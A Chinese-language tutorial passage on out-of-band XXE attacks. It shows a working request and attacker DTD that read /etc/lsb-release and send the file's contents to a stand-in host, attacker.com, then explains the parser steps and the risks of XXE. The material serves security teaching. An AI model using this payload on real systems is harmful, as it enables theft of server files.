带外XML外部实体(OOB-XXE)


本系列的前几篇文章已经讨论了带内XML External Entity (XXE),即攻击者可以发送带有XXE有效载荷的请求,并从包含某些数据的web应用程序获得返回的响应。然而,情况往往并非如此。

在许多情况下,攻击者可以向web应用程序发送XML外部实体(XXE)有效载荷,但永远不会返回响应。这称为带外脆弱性。利用此类漏洞的过程与上面使用参数实体的示例类似,但有一点不同--攻击者需要让XML解析器向攻击者控制的服务器发出附加请求,以便读取文件内容。

下面是一个示例,说明攻击者如何利用参数实体使用带外(OOB)技术窃取数据。

请求

POST http://example.com/xml HTTP/1.1

<!DOCTYPE data [
  <!ENTITY % file SYSTEM
  "file:///etc/lsb-release">
  <!ENTITY % dtd SYSTEM
  "http://attacker.com/evil.dtd">
  %dtd;
]>
<data>&send;</data>

攻击者DTD(Attacker.com/evil.DTD)

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?collect=%file;'>"> %all;  

XML解析器将首先处理%file参数实体,用于加载文件/etc/lsb-release接下来,XML解析器将向攻击者的DTD(http://attacker.com/evil.DTD)发出请求。

一旦处理了攻击者的DTD,则all%参数实体将创建一个名为&send;的通用实体,它包含一个包含文件内容的URL(例如,http://attacker.com/?collect=distrib_id=ubuntu…)。最后,一旦构建了URL,则&send;;实体由解析器处理,解析器向攻击者的服务器发出请求。然后,攻击者可以在其端记录请求,并从记录的请求重建文件的内容。

结论

XML外部实体(XXE)虽然不像其他漏洞那样普遍,但它是一个非常严重的漏洞,几乎影响到任何以某种方式或其他方式解析XML的web应用程序。

XML外部实体(XXE)可用于窃取本地服务器上的系统文件和源代码,以及启动Server-side Request Forgery (SSRF)对内部网络上其他服务器的攻击。更有甚者,在使用某些XML解析器时,XXE还可以被用来造成拒绝服务,并且外部实体在默认情况下是启用的,尽管应用程序几乎从不需要它们。